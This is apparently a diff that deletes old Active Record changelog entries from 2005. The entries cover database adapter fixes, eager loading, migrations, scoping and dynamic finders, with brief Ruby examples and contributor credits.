-* SQLServer: support uniqueidentifier columns. #2930 *keithm@infused.org*
-
-* SQLServer: cope with tables names qualified by owner. #3067 *jeff@ministrycentered.com*
-
-* SQLServer: cope with columns with "desc" in the name. #1950 *Ron Lusk, Ryan Tomayko*
-
-* SQLServer: cope with primary keys with "select" in the name. #3057 *rdifrango@captechventures.com*
-
-* Oracle: active? performs a select instead of a commit. #3133 *Michael Schoen*
-
-* MySQL: more robust test for nullified result hashes. #3124 *Stefan Kaes*
-
-* Reloading an instance refreshes its aggregations as well as its associations. #3024 *François Beausoleil*
-
-* Fixed that using :include together with :conditions array in Base.find would cause NoMethodError #2887 *Paul Hammmond*
-
-* PostgreSQL: more robust sequence name discovery. #3087 *Rick Olson*
-
-* Oracle: use syntax compatible with Oracle 8. #3131 *Michael Schoen*
-
-* MySQL: work around ruby-mysql/mysql-ruby inconsistency with mysql.stat. Eliminate usage of mysql.ping because it doesn't guarantee reconnect. Explicitly close and reopen the connection instead. *Jeremy Kemper*
-
-* Added preliminary support for polymorphic associations *David Heinemeier Hansson*
-
-* Added preliminary support for join models *David Heinemeier Hansson*
-
-* Allow validate_uniqueness_of to be scoped by more than just one column. #1559. *jeremy@jthopple.com, Marcel Molina Jr.*
-
-* Firebird: active? and reconnect! methods for handling stale connections. #428 *Ken Kunz <kennethkunz@gmail.com>*
-
-* Firebird: updated for FireRuby 0.4.0. #3009 *Ken Kunz <kennethkunz@gmail.com>*
-
-* MySQL and PostgreSQL: active? compatibility with the pure-Ruby driver. #428 *Jeremy Kemper*
-
-* Oracle: active? check pings the database rather than testing the last command status. #428 *Michael Schoen*
-
-* SQLServer: resolve column aliasing/quoting collision when using limit or offset in an eager find. #2974 *kajism@yahoo.com*
-
-* Reloading a model doesn't lose track of its connection. #2996 *junk@miriamtech.com, Jeremy Kemper*
-
-* Fixed bug where using update_attribute after pushing a record to a habtm association of the object caused duplicate rows in the join table. #2888 *colman@rominato.com, Florian Weber, Michael Schoen*
-
-* MySQL, PostgreSQL: reconnect! also reconfigures the connection. Otherwise, the connection 'loses' its settings if it times out and is reconnected. #2978 *Shugo Maeda*
-
-* has_and_belongs_to_many: use JOIN instead of LEFT JOIN. *Jeremy Kemper*
-
-* MySQL: introduce :encoding option to specify the character set for client, connection, and results. Only available for MySQL 4.1 and later with the mysql-ruby driver. Do SHOW CHARACTER SET in mysql client to see available encodings. #2975 *Shugo Maeda*
-
-* Add tasks to create, drop and rebuild the MySQL and PostgreSQL test databases. *Marcel Molina Jr.*
-
-* Correct boolean handling in generated reader methods. #2945 *Don Park, Stefan Kaes*
-
-* Don't generate read methods for columns whose names are not valid ruby method names. #2946 *Stefan Kaes*
-
-* Document :force option to create_table. #2921 *Blair Zajac <blair@orcaware.com>*
-
-* Don't add the same conditions twice in has_one finder sql. #2916 *Jeremy Evans*
-
-* Rename Version constant to VERSION. #2802 *Marcel Molina Jr.*
-
-* Introducing the Firebird adapter. Quote columns and use attribute_condition more consistently. Setup guide: http://wiki.rubyonrails.com/rails/pages/Firebird+Adapter #1874 *Ken Kunz <kennethkunz@gmail.com>*
-
-* SQLServer: active? and reconnect! methods for handling stale connections. #428 *kajism@yahoo.com, Tom Ward <tom@popdog.net>*
-
-* Associations handle case-equality more consistently: item.parts.is_a?(Array) and item.parts === Array. #1345 *MarkusQ@reality.com*
-
-* SQLServer: insert uses given primary key value if not nil rather than SELECT @@IDENTITY. #2866 *kajism@yahoo.com, Tom Ward <tom@popdog.net>*
-
-* Oracle: active? and reconnect! methods for handling stale connections. Optionally retry queries after reconnect. #428 *Michael Schoen <schoenm@earthlink.net>*
-
-* Correct documentation for Base.delete_all. #1568 *Newhydra*
-
-* Oracle: test case for column default parsing. #2788 *Michael Schoen <schoenm@earthlink.net>*
-
-* Update documentation for Migrations. #2861 *Tom Werner <tom@cube6media.com>*
-
-* When AbstractAdapter#log rescues an exception, attempt to detect and reconnect to an inactive database connection. Connection adapter must respond to the active? and reconnect! instance methods. Initial support for PostgreSQL, MySQL, and SQLite. Make certain that all statements which may need reconnection are performed within a logged block: for example, this means no avoiding log(sql, name) { } if @logger.nil? #428 *Jeremy Kemper*
-
-* Oracle: Much faster column reflection. #2848 *Michael Schoen <schoenm@earthlink.net>*
-
-* Base.reset_sequence_name analogous to reset_table_name (mostly useful for testing). Base.define_attr_method allows nil values. *Jeremy Kemper*
-
-* PostgreSQL: smarter sequence name defaults, stricter last_insert_id, warn on pk without sequence. *Jeremy Kemper*
-
-* PostgreSQL: correctly discover custom primary key sequences. #2594 *Blair Zajac <blair@orcaware.com>, meadow.nnick@gmail.com, Jeremy Kemper*
-
-* SQLServer: don't report limits for unsupported field types. #2835 *Ryan Tomayko*
-
-* Include the Enumerable module in ActiveRecord::Errors. *Rick Bradley <rick@rickbradley.com>*
-
-* Add :group option, correspond to GROUP BY, to the find method and to the has_many association. #2818 *rubyonrails@atyp.de*
-
-* Don't cast nil or empty strings to a dummy date. #2789 *Rick Bradley <rick@rickbradley.com>*
-
-* acts_as_list plays nicely with inheritance by remembering the class which declared it. #2811 *rephorm@rephorm.com*
-
-* Fix sqlite adaptor's detection of missing dbfile or database declaration. *Nicholas Seckar*
-
-* Fixed acts_as_list for definitions without an explicit :order #2803 *Jonathan Viney*
-
-* Upgrade bundled ruby-mysql 0.2.4 with mysql411 shim (see #440) to ruby-mysql 0.2.6 with a patchset for 4.1 protocol support. Local change [301] is now a part of the main driver; reapplied local change [2182]. Removed GC.start from Result.free. *tommy@tmtm.org, akuroda@gmail.com, Doug Fales <doug.fales@gmail.com>, Jeremy Kemper*
-
-* Correct handling of complex order clauses with SQL Server limit emulation. #2770 *Tom Ward <tom@popdog.net>, Matt B.*
-
-* Correct whitespace problem in Oracle default column value parsing. #2788 *rick@rickbradley.com*
-
-* Destroy associated has_and_belongs_to_many records after all before_destroy callbacks but before destroy. This allows you to act on the habtm association as you please while preserving referential integrity. #2065 *larrywilliams1@gmail.com, sam.kirchmeier@gmail.com, elliot@townx.org, Jeremy Kemper*
-
-* Deprecate the old, confusing :exclusively_dependent option in favor of :dependent => :delete_all. *Jeremy Kemper*
-
-* More compatible Oracle column reflection. #2771 *Ryan Davis <ryand-ruby@zenspider.com>, Michael Schoen <schoenm@earthlink.net>*
-
-
-## 1.13.0 (November 7th, 2005) ##
-
-* Fixed faulty regex in get_table_name method (SQLServerAdapter) #2639 *Ryan Tomayko*
-
-* Added :include as an option for association declarations [David Heinemeier Hansson]. Example:
-
- has_many :posts, :include => [ :author, :comments ]
-
-* Rename Base.constrain to Base.with_scope so it doesn't conflict with existing concept of database constraints. Make scoping more robust: uniform method => parameters, validated method names and supported finder parameters, raise exception on nested scopes. [Jeremy Kemper] Example:
-
- Comment.with_scope(:find => { :conditions => 'active=true' }, :create => { :post_id => 5 }) do
- # Find where name = ? and active=true
- Comment.find :all, :conditions => ['name = ?', name]
- # Create comment associated with :post_id
- Comment.create :body => "Hello world"
- end
-
-* Fixed that SQL Server should ignore :size declarations on anything but integer and string in the agnostic schema representation #2756 *Ryan Tomayko*
-
-* Added constrain scoping for creates using a hash of attributes bound to the :creation key [David Heinemeier Hansson]. Example:
-
- Comment.constrain(:creation => { :post_id => 5 }) do
- # Associated with :post_id
- Comment.create :body => "Hello world"
- end
-
- This is rarely used directly, but allows for find_or_create on associations. So you can do:
-
- # If the tag doesn't exist, a new one is created that's associated with the person
- person.tags.find_or_create_by_name("Summer")
-
-* Added find_or_create_by_X as a second type of dynamic finder that'll create the record if it doesn't already exist [David Heinemeier Hansson]. Example:
-
- # No 'Summer' tag exists
- Tag.find_or_create_by_name("Summer") # equal to Tag.create(:name => "Summer")
-
- # Now the 'Summer' tag does exist
- Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
-
-* Added extension capabilities to has_many and has_and_belongs_to_many proxies [David Heinemeier Hansson]. Example:
-
- class Account < ActiveRecord::Base
- has_many :people do
- def find_or_create_by_name(name)
- first_name, *last_name = name.split
- last_name = last_name.join " "
-
- find_or_create_by_first_name_and_last_name(first_name, last_name)
- end
- end
- end
-
- person = Account.find(:first).people.find_or_create_by_name("David Heinemeier Hansson")
- person.first_name # => "David"
- person.last_name # => "Heinemeier Hansson"
-
- Note that the anoymous module must be declared using brackets, not do/end (due to order of evaluation).
-
-* Omit internal dtproperties table from SQLServer table list. #2729 *Ryan Tomayko*
-
-* Quote column names in generated SQL. #2728 *Ryan Tomayko*
-
-* Correct the pure-Ruby MySQL 4.1.1 shim's version test. #2718 *Jeremy Kemper*
-
-* Add Model.create! to match existing model.save! method. When save! raises RecordInvalid, you can catch the exception, retrieve the invalid record (invalid_exception.record), and see its errors (invalid_exception.record.errors). *Jeremy Kemper*
-
-* Correct fixture behavior when table name pluralization is off. #2719 *Rick Bradley <rick@rickbradley.com>*
-
-* Changed :dbfile to :database for SQLite adapter for consistency (old key still works as an alias) #2644 *Dan Peterson*
-
-* Added migration support for Oracle #2647 *Michael Schoen*
-
-* Worked around that connection can't be reset if allow_concurrency is off. #2648 *Michael Schoen <schoenm@earthlink.net>*
-
-* Fixed SQL Server adapter to pass even more tests and do even better #2634 *Ryan Tomayko*
-
-* Fixed SQL Server adapter so it honors options[:conditions] when applying :limits #1978 *Tom Ward*
-
-* Added migration support to SQL Server adapter (please someone do the same for Oracle and DB2) #2625 *Tom Ward*
-
-* Use AR::Base.silence rather than AR::Base.logger.silence in fixtures to preserve Log4r compatibility. #2618 *dansketcher@gmail.com*
-
-* Constraints are cloned so they can't be inadvertently modified while they're
- in effect. Added :readonly finder constraint. Calling an association collection's class method (Part.foobar via item.parts.foobar) constrains :readonly => false since the collection's :joins constraint would otherwise force it to true. [Jeremy Kemper <rails@bitsweat.net>]
-* Added :offset and :limit to the kinds of options that Base.constrain can use #2466 *duane.johnson@gmail.com*
-
-* Fixed handling of nil number columns on Oracle and cleaned up tests for Oracle in general #2555 *Michael Schoen*
-
-* Added quoted_true and quoted_false methods and tables to db2_adapter and cleaned up tests for DB2 #2493, #2624 *maik schmidt*
-
-
-## 1.12.2 (October 26th, 2005) ##
-
-* Allow symbols to rename columns when using SQLite adapter. #2531 *Kevin Clark*
-
-* Map Active Record time to SQL TIME. #2575, #2576 *Robby Russell <robby@planetargon.com>*
-
-* Clarify semantics of ActiveRecord::Base#respond_to? #2560 *Stefan Kaes*
-
-* Fixed Association#clear for associations which have not yet been accessed. #2524 *Patrick Lenz <patrick@lenz.sh>*
-
-* HABTM finders shouldn't return readonly records. #2525 *Patrick Lenz <patrick@lenz.sh>*
-
-* Make all tests runnable on their own. #2521. *Blair Zajac <blair@orcaware.com>*
-
-
-## 1.12.1 (October 19th, 2005) ##
-
-* Always parenthesize :conditions options so they may be safely combined with STI and constraints.
-
-* Correct PostgreSQL primary key sequence detection. #2507 *tmornini@infomania.com*
-
-* Added support for using limits in eager loads that involve has_many and has_and_belongs_to_many associations
-
-
-## 1.12.0 (October 16th, 2005) ##
-
-* Update/clean up documentation (rdoc)
-
-* PostgreSQL sequence support. Use set_sequence_name in your model class to specify its primary key sequence. #2292 *Rick Olson <technoweenie@gmail.com>, Robby Russell <robby@planetargon.com>*
-
-* Change default logging colors to work on both white and black backgrounds. *Sam Stephenson*
-
-* YAML fixtures support ordered hashes for fixtures with foreign key dependencies in the same table. #1896 *purestorm@ggnore.net*
-
-* :dependent now accepts :nullify option. Sets the foreign key of the related objects to NULL instead of deleting them. #2015 *Robby Russell <robby@planetargon.com>*
-
-* Introduce read-only records. If you call object.readonly! then it will mark the object as read-only and raise ReadOnlyRecord if you call object.save. object.readonly? reports whether the object is read-only. Passing :readonly => true to any finder method will mark returned records as read-only. The :joins option now implies :readonly, so if you use this option, saving the same record will now fail. Use find_by_sql to work around.
-
-* Avoid memleak in dev mode when using fcgi
-
-* Simplified .clear on active record associations by using the existing delete_records method. #1906 *Caleb <me@cpb.ca>*
-
-* Delegate access to a customized primary key to the conventional id method. #2444. *Blair Zajac <blair@orcaware.com>*
-
-* Fix errors caused by assigning a has-one or belongs-to property to itself
-
-* Add ActiveRecord::Base.schema_format setting which specifies how databases should be dumped *Sam Stephenson*
-
-* Update DB2 adapter. #2206. *contact@maik-schmidt.de*
-
-* Corrections to SQLServer native data types. #2267. *rails.20.clarry@spamgourmet.com*
-
-* Deprecated ActiveRecord::Base.threaded_connection in favor of ActiveRecord::Base.allow_concurrency.
-
-* Protect id attribute from mass assigment even when the primary key is set to something else. #2438. *Blair Zajac <blair@orcaware.com>*
-
-* Misc doc fixes (typos/grammar/etc.). #2430. *coffee2code*
-
-* Add test coverage for content_columns. #2432. *coffee2code*
-
-* Speed up for unthreaded environments. #2431. *Stefan Kaes*
-
-* Optimization for Mysql selects using mysql-ruby extension greater than 2.6.3. #2426. *Stefan Kaes*
-
-* Speed up the setting of table_name. #2428. *Stefan Kaes*
-
-* Optimize instantiation of STI subclass records. In partial fullfilment of #1236. *Stefan Kaes*
-
-* Fix typo of 'constrains' to 'contraints'. #2069. *Michael Schuerig <michael@schuerig.de>*
-
-* Optimization refactoring for add_limit_offset!. In partial fullfilment of #1236. *Stefan Kaes*
-
-* Add ability to get all siblings, including the current child, with acts_as_tree. Recloses #2140. *Michael Schuerig <michael@schuerig.de>*
-
-* Add geometric type for postgresql adapter. #2233 *Andrew Kaspick*
-
-* Add option (true by default) to generate reader methods for each attribute of a record to avoid the overhead of calling method missing. In partial fullfilment of #1236. *Stefan Kaes*
-
-* Add convenience predicate methods on Column class. In partial fullfilment of #1236. *Stefan Kaes*
-
-* Raise errors when invalid hash keys are passed to ActiveRecord::Base.find. #2363 *Chad Fowler <chad@chadfowler.com>, Nicholas Seckar*
-
-* Added :force option to create_table that'll try to drop the table if it already exists before creating
-
-* Fix transactions so that calling return while inside a transaction will not leave an open transaction on the connection. *Nicholas Seckar*
-
-* Use foreign_key inflection uniformly. #2156 *Blair Zajac <blair@orcaware.com>*
-
-* model.association.clear should destroy associated objects if :dependent => true instead of nullifying their foreign keys. #2221 *joergd@pobox.com, ObieFernandez <obiefernandez@gmail.com>*
-
-* Returning false from before_destroy should cancel the action. #1829 *Jeremy Huffman*
-
-* Recognize PostgreSQL NOW() default as equivalent to CURRENT_TIMESTAMP or CURRENT_DATE, depending on the column's type. #2256 *mat <mat@absolight.fr>*
-
-* Extensive documentation for the abstract database adapter. #2250 *François Beausoleil <fbeausoleil@ftml.net>*
-
-* Clean up Fixtures.reset_sequences for PostgreSQL. Handle tables with no rows and models with custom primary keys. #2174, #2183 *jay@jay.fm, Blair Zajac <blair@orcaware.com>*
-
-* Improve error message when nil is assigned to an attr which validates_size_of within a range. #2022 *Manuel Holtgrewe <purestorm@ggnore.net>*
-
-* Make update_attribute use the same writer method that update_attributes uses.
- \#2237 [trevor@protocool.com]
-* Make migrations honor table name prefixes and suffixes. #2298 *Jakob Skjerning, Marcel Molina Jr.*
-
-* Correct and optimize PostgreSQL bytea escaping. #1745, #1837 *dave@cherryville.org, ken@miriamtech.com, bellis@deepthought.org*
-
-* Fixtures should only reset a PostgreSQL sequence if it corresponds to an integer primary key named id. #1749 *chris@chrisbrinker.com*
-
-* Standardize the interpretation of boolean columns in the Mysql and Sqlite adapters. (Use MysqlAdapter.emulate_booleans = false to disable this behavior)
-
-* Added new symbol-driven approach to activating observers with Base#observers= [David Heinemeier Hansson]. Example:
-
- ActiveRecord::Base.observers = :cacher, :garbage_collector
-
-* Added AbstractAdapter#select_value and AbstractAdapter#select_values as convenience methods for selecting single values, instead of hashes, of the first column in a SELECT #2283 *solo@gatelys.com*
-
-* Wrap :conditions in parentheses to prevent problems with OR's #1871 *Jamis Buck*
-
-* Allow the postgresql adapter to work with the SchemaDumper. *Jamis Buck*
-
-* Add ActiveRecord::SchemaDumper for dumping a DB schema to a pure-ruby file, making it easier to consolidate large migration lists and port database schemas between databases. *Jamis Buck*
-
-* Fixed migrations for Windows when using more than 10 *David Naseby*
-
-* Fixed that the create_x method from belongs_to wouldn't save the association properly #2042 *Florian Weber*
-
-* Fixed saving a record with two unsaved belongs_to associations pointing to the same object #2023 *Tobias Lütke*
-
-* Improved migrations' behavior when the schema_info table is empty. *Nicholas Seckar*
-
-* Fixed that Observers didn't observe sub-classes #627 *Florian Weber*
-
-* Fix eager loading error messages, allow :include to specify tables using strings or symbols. Closes #2222 *Marcel Molina Jr.*
-
-* Added check for RAILS_CONNECTION_ADAPTERS on startup and only load the connection adapters specified within if its present (available in Rails through config.connection_adapters using the new config) #1958 *skae*
-
-* Fixed various problems with has_and_belongs_to_many when using customer finder_sql #2094 *Florian Weber*
-
-* Added better exception error when unknown column types are used with migrations #1814 *François Beausoleil*
-
-* Fixed "connection lost" issue with the bundled Ruby/MySQL driver (would kill the app after 8 hours of inactivity) #2163, #428 *kajism@yahoo.com*
-
-* Fixed comparison of Active Record objects so two new objects are not equal #2099 *deberg*
-
-* Fixed that the SQL Server adapter would sometimes return DBI::Timestamp objects instead of Time #2127 *Tom Ward*
-
-* Added the instance methods #root and #ancestors on acts_as_tree and fixed siblings to not include the current node #2142, #2140 *coffee2code*
-
-* Fixed that Active Record would call SHOW FIELDS twice (or more) for the same model when the cached results were available #1947 *sd@notso.net*
-
-* Added log_level and use_silence parameter to ActiveRecord::Base.benchmark. The first controls at what level the benchmark statement will be logged (now as debug, instead of info) and the second that can be passed false to include all logging statements during the benchmark block/
-
-* Make sure the schema_info table is created before querying the current version #1903
-
-* Fixtures ignore table name prefix and suffix #1987 *Jakob Skjerning*
-
-* Add documentation for index_type argument to add_index method for migrations #2005 *Blaine*
-
-* Modify read_attribute to allow a symbol argument #2024 *Ken Kunz*
-
-* Make destroy return self #1913 *Sebastian Kanthak*
-
-* Fix typo in validations documentation #1938 *court3nay*
-
-* Make acts_as_list work for insert_at(1) #1966 *hensleyl@papermountain.org*
-
-* Fix typo in count_by_sql documentation #1969 *Alexey Verkhovsky*
-
-* Allow add_column and create_table to specify NOT NULL #1712 *emptysands@gmail.com*
-
-* Fix create_table so that id column is implicitly added *Rick Olson*
-
-* Default sequence names for Oracle changed to #{table_name}_seq, which is the most commonly used standard. In addition, a new method ActiveRecord::Base#set_sequence_name allows the developer to set the sequence name per model. This is a non-backwards-compatible change -- anyone using the old-style "rails_sequence" will need to either create new sequences, or set: ActiveRecord::Base.set_sequence_name = "rails_sequence" #1798
-
-* OCIAdapter now properly handles synonyms, which are commonly used to separate out the schema owner from the application user #1798
-
-* Fixed the handling of camelCase columns names in Oracle #1798
-
-* Implemented for OCI the Rakefile tasks of :clone_structure_to_test, :db_structure_dump, and :purge_test_database, which enable Oracle folks to enjoy all the agile goodness of Rails for testing. Note that the current implementation is fairly limited -- only tables and sequences are cloned, not constraints or indexes. A full clone in Oracle generally requires some manual effort, and is version-specific. Post 9i, Oracle recommends the use of the DBMS_METADATA package, though that approach requires editing of the physical characteristics generated #1798
-
-* Fixed the handling of multiple blob columns in Oracle if one or more of them are null #1798
-
-* Added support for calling constrained class methods on has_many and has_and_belongs_to_many collections #1764 *Tobias Lütke*
-
- class Comment < AR:B
- def self.search(q)
- find(:all, :conditions => ["body = ?", q])
- end
- end
-
- class Post < AR:B
- has_many :comments
- end
-
- Post.find(1).comments.search('hi') # => SELECT * from comments WHERE post_id = 1 AND body = 'hi'
-
- NOTICE: This patch changes the underlying SQL generated by has_and_belongs_to_many queries. If your relying on that, such as
- by explicitly referencing the old t and j aliases, you'll need to update your code. Of course, you _shouldn't_ be relying on
- details like that no less than you should be diving in to touch private variables. But just in case you do, consider yourself
- noticed :)
-
-* Added migration support for SQLite (using temporary tables to simulate ALTER TABLE) #1771 *Sam Stephenson*
-
-* Remove extra definition of supports_migrations? from abstract_adaptor.rb *Nicholas Seckar*
-
-* Fix acts_as_list so that moving next-to-last item to the bottom does not result in duplicate item positions
-
-* Fixed incompatibility in DB2 adapter with the new limit/offset approach #1718 *Maik Schmidt*
-
-* Added :select option to find which can specify a different value than the default *, like find(:all, :select => "first_name, last_name"), if you either only want to select part of the columns or exclude columns otherwise included from a join #1338 *Stefan Kaes*
-
-
-## 1.11.1 (11 July, 2005) ##
-
-* Added support for limit and offset with eager loading of has_one and belongs_to associations. Using the options with has_many and has_and_belongs_to_many associations will now raise an ActiveRecord::ConfigurationError #1692 *Rick Olson*
-
-* Fixed that assume_bottom_position (in acts_as_list) could be called on items already last in the list and they would move one position away from the list #1648 *tyler@kianta.com*
-
-* Added ActiveRecord::Base.threaded_connections flag to turn off 1-connection per thread (required for thread safety). By default it's on, but WEBrick in Rails need it off #1685 *Sam Stephenson*
-
-* Correct reflected table name for singular associations. #1688 *court3nay*
-
-* Fixed optimistic locking with SQL Server #1660 *tom@popdog.net*
-
-* Added ActiveRecord::Migrator.migrate that can figure out whether to go up or down based on the target version and the current
-
-* Added better error message for "packets out of order" #1630 *court3nay*
-
-* Fixed first run of "rake migrate" on PostgreSQL by not expecting a return value on the id #1640
-
-
-## 1.11.0 (6 July, 2005) ##
-
-* Fixed that Yaml error message in fixtures hid the real error #1623 *Nicholas Seckar*
-
-* Changed logging of SQL statements to use the DEBUG level instead of INFO
-
-* Added new Migrations framework for describing schema transformations in a way that can be easily applied across multiple databases #1604 [Tobias Lütke] See documentation under ActiveRecord::Migration and the additional support in the Rails rakefile/generator.
-
-* Added callback hooks to association collections #1549 [Florian Weber]. Example:
-
- class Project
- has_and_belongs_to_many :developers, :before_add => :evaluate_velocity
-
- def evaluate_velocity(developer)
- ...
- end
- end
-
- ..raising an exception will cause the object not to be added (or removed, with before_remove).
-
-
-* Fixed Base.content_columns call for SQL Server adapter #1450 *DeLynn Berry*
-
-* Fixed Base#write_attribute to work with both symbols and strings #1190 *Paul Legato*
-
-* Fixed that has_and_belongs_to_many didn't respect single table inheritance types #1081 *Florian Weber*
-
-* Speed up ActiveRecord#method_missing for the common case (read_attribute).
-
-* Only notify observers on after_find and after_initialize if these methods are defined on the model. #1235 *Stefan Kaes*
-
-* Fixed that single-table inheritance sub-classes couldn't be used to limit the result set with eager loading #1215 *Chris McGrath*
-
-* Fixed validates_numericality_of to work with overrided getter-method when :allow_nil is on #1316 *raidel@onemail.at*
-
-* Added roots, root, and siblings to the batch of methods added by acts_as_tree #1541 *Michael Schuerig*
-
-* Added support for limit/offset with the MS SQL Server driver so that pagination will now work #1569 *DeLynn Berry*
-
-* Added support for ODBC connections to MS SQL Server so you can connect from a non-Windows machine #1569 *Mark Imbriaco/DeLynn Berry*
-
-* Fixed that multiparameter posts ignored attr_protected #1532 *alec+rails@veryclever.net*
-
-* Fixed problem with eager loading when using a has_and_belongs_to_many association using :association_foreign_key #1504 *flash@vanklinkenbergsoftware.nl*
-
-* Fixed Base#find to honor the documentation on how :joins work and make them consistent with Base#count #1405 [pritchie@gmail.com]. What used to be:
-
- Developer.find :all, :joins => 'developers_projects', :conditions => 'id=developer_id AND project_id=1'
-
- ...should instead be:
-
- Developer.find(
- :all,
- :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id',
- :conditions => 'project_id=1'
- )
-
-* Fixed that validations didn't respecting custom setting for too_short, too_long messages #1437 *Marcel Molina Jr.*
-
-* Fixed that clear_association_cache doesn't delete new associations on new records (so you can safely place new records in the session with Action Pack without having new associations wiped) #1494 *cluon*
-
-* Fixed that calling Model.find([]) returns [] and doesn't throw an exception #1379
-
-* Fixed that adding a record to a has_and_belongs_to collection would always save it -- now it only saves if its a new record #1203 *Alisdair McDiarmid*
-
-* Fixed saving of in-memory association structures to happen as an after_create/after_update callback instead of after_save -- that way you can add new associations in after_create/after_update callbacks without getting them saved twice
-
-* Allow any Enumerable, not just Array, to work as bind variables #1344 *Jeremy Kemper*
-
-* Added actual database-changing behavior to collection assigment for has_many and has_and_belongs_to_many #1425 [Sebastian Kanthak].
- Example:
-
- david.projects = [Project.find(1), Project.new("name" => "ActionWebSearch")]
- david.save
-
- If david.projects already contain the project with ID 1, this is left unchanged. Any other projects are dropped. And the new
- project is saved when david.save is called.
-
- Also included is a way to do assignments through IDs, which is perfect for checkbox updating, so you get to do:
-
- david.project_ids = [1, 5, 7]
-
-* Corrected typo in find SQL for has_and_belongs_to_many. #1312 *ben@bensinclair.com*
-
-* Fixed sanitized conditions for has_many finder method. #1281 *jackc@hylesanderson.com, pragdave, Tobias Lütke*
-
-* Comprehensive PostgreSQL schema support. Use the optional schema_search_path directive in database.yml to give a comma-separated list of schemas to search for your tables. This allows you, for example, to have tables in a shared schema without having to use a custom table name. See http://www.postgresql.org/docs/8.0/interactive/ddl-schemas.html to learn more. #827 *dave@cherryville.org*
-
-* Corrected @@configurations typo #1410 *david@ruppconsulting.com*
-
-* Return PostgreSQL columns in the order they were declared #1374 *perlguy@gmail.com*
-
-* Allow before/after update hooks to work on models using optimistic locking
-
-* Eager loading of dependent has_one associations won't delete the association #1212
-
-* Added a second parameter to the build and create method for has_one that controls whether the existing association should be replaced (which means nullifying its foreign key as well). By default this is true, but false can be passed to prevent it.
-
-* Using transactional fixtures now causes the data to be loaded only once.
-
-* Added fixture accessor methods that can be used when instantiated fixtures are disabled.
-
- fixtures :web_sites
-
- def test_something
- assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
- end
-
-* Added DoubleRenderError exception that'll be raised if render* is called twice #518 *Nicholas Seckar*
-
-* Fixed exceptions occuring after render has been called #1096 *Nicholas Seckar*
-
-* CHANGED: validates_presence_of now uses Errors#add_on_blank, which will make " " fail the validation where it didn't before #1309
-
-* Added Errors#add_on_blank which works like Errors#add_on_empty, but uses Object#blank? instead
-
-* Added the :if option to all validations that can either use a block or a method pointer to determine whether the validation should be run or not. #1324 [Duane Johnson/jhosteny]. Examples:
-
- Conditional validations such as the following are made possible:
- validates_numericality_of :income, :if => :employed?
-
- Conditional validations can also solve the salted login generator problem:
- validates_confirmation_of :password, :if => :new_password?
-
- Using blocks:
- validates_presence_of :username, :if => Proc.new { |user| user.signup_step > 1 }
-
-* Fixed use of construct_finder_sql when using :join #1288 *dwlt@dwlt.net*
-
-* Fixed that :delete_sql in has_and_belongs_to_many associations couldn't access record properties #1299 *Rick Olson*
-
-* Fixed that clone would break when an aggregate had the same name as one of its attributes #1307 *Jeremy Kemper*
-
-* Changed that destroying an object will only freeze the attributes hash, which keeps the object from having attributes changed (as that wouldn't make sense), but allows for the querying of associations after it has been destroyed.
-
-* Changed the callbacks such that observers are notified before the in-object callbacks are triggered. Without this change, it wasn't possible to act on the whole object in something like a before_destroy observer without having the objects own callbacks (like deleting associations) called first.
-
-* Added option for passing an array to the find_all version of the dynamic finders and have it evaluated as an IN fragment. Example:
-
- # SELECT * FROM topics WHERE title IN ('First', 'Second')
- Topic.find_all_by_title(["First", "Second"])
-
-* Added compatibility with camelCase column names for dynamic finders #533 *Dee Zsombor*
-
-* Fixed extraneous comma in count() function that made it not work with joins #1156 *Jarkko Laine/Dee Zsombor*
-
-* Fixed incompatibility with Base#find with an array of ids that would fail when using eager loading #1186 *Alisdair McDiarmid*
-
-* Fixed that validate_length_of lost :on option when :within was specified #1195 *jhosteny@mac.com*
-
-* Added encoding and min_messages options for PostgreSQL #1205 [Shugo Maeda]. Configuration example:
-
- development:
- adapter: postgresql
- database: rails_development
- host: localhost
- username: postgres
- password:
- encoding: UTF8
- min_messages: ERROR
-
-* Fixed acts_as_list where deleting an item that was removed from the list would ruin the positioning of other list items #1197 *Jamis Buck*
-
-* Added validates_exclusion_of as a negative of validates_inclusion_of
-
-* Optimized counting of has_many associations by setting the association to empty if the count is 0 so repeated calls doesn't trigger database calls
-
-
-## 1.10.1 (20th April, 2005) ##
-
-* Fixed frivilous database queries being triggered with eager loading on empty associations and other things
-
-* Fixed order of loading in eager associations
-
-* Fixed stray comma when using eager loading and ordering together from has_many associations #1143
-
-
-## 1.10.0 (19th April, 2005) ##
-
-* Added eager loading of associations as a way to solve the N+1 problem more gracefully without piggy-back queries. Example:
-
- for post in Post.find(:all, :limit => 100)
- puts "Post: " + post.title
- puts "Written by: " + post.author.name
- puts "Last comment on: " + post.comments.first.created_on
- end
-
- This used to generate 301 database queries if all 100 posts had both author and comments. It can now be written as:
-
- for post in Post.find(:all, :limit => 100, :include => [ :author, :comments ])
-
- ...and the number of database queries needed is now 1.
-
-* Added new unified Base.find API and deprecated the use of find_first and find_all. See the documentation for Base.find. Examples:
-
- Person.find(1, :conditions => "administrator = 1", :order => "created_on DESC")
- Person.find(1, 5, 6, :conditions => "administrator = 1", :order => "created_on DESC")
- Person.find(:first, :order => "created_on DESC", :offset => 5)
- Person.find(:all, :conditions => [ "category IN (?)", categories], :limit => 50)
- Person.find(:all, :offset => 10, :limit => 10)
-
-* Added acts_as_nested_set #1000 [wschenk]. Introduction:
-
- This acts provides Nested Set functionality. Nested Set is similiar to Tree, but with
- the added feature that you can select the children and all of it's descendants with
- a single query. A good use case for this is a threaded post system, where you want
- to display every reply to a comment without multiple selects.
-
-* Added Base.save! that attempts to save the record just like Base.save but will raise a RecordInvalid exception instead of returning false if the record is not valid *Dave Thomas*
-
-* Fixed PostgreSQL usage of fixtures with regards to public schemas and table names with dots #962 *gnuman1@gmail.com*
-
-* Fixed that fixtures were being deleted in the same order as inserts causing FK errors #890 *andrew.john.peters@gmail.com*
-
-* Fixed loading of fixtures in to be in the right order (or PostgreSQL would bark) #1047 *stephenh@chase3000.com*
-
-* Fixed page caching for non-vhost applications living underneath the root #1004 *Ben Schumacher*
-
-* Fixes a problem with the SQL Adapter which was resulting in IDENTITY_INSERT not being set to ON when it should be #1104 *adelle*
-
-* Added the option to specify the acceptance string in validates_acceptance_of #1106 *caleb@aei-tech.com*
-
-* Added insert_at(position) to acts_as_list #1083 *DeLynnB*
-
-* Removed the default order by id on has_and_belongs_to_many queries as it could kill performance on large sets (you can still specify by hand with :order)
-
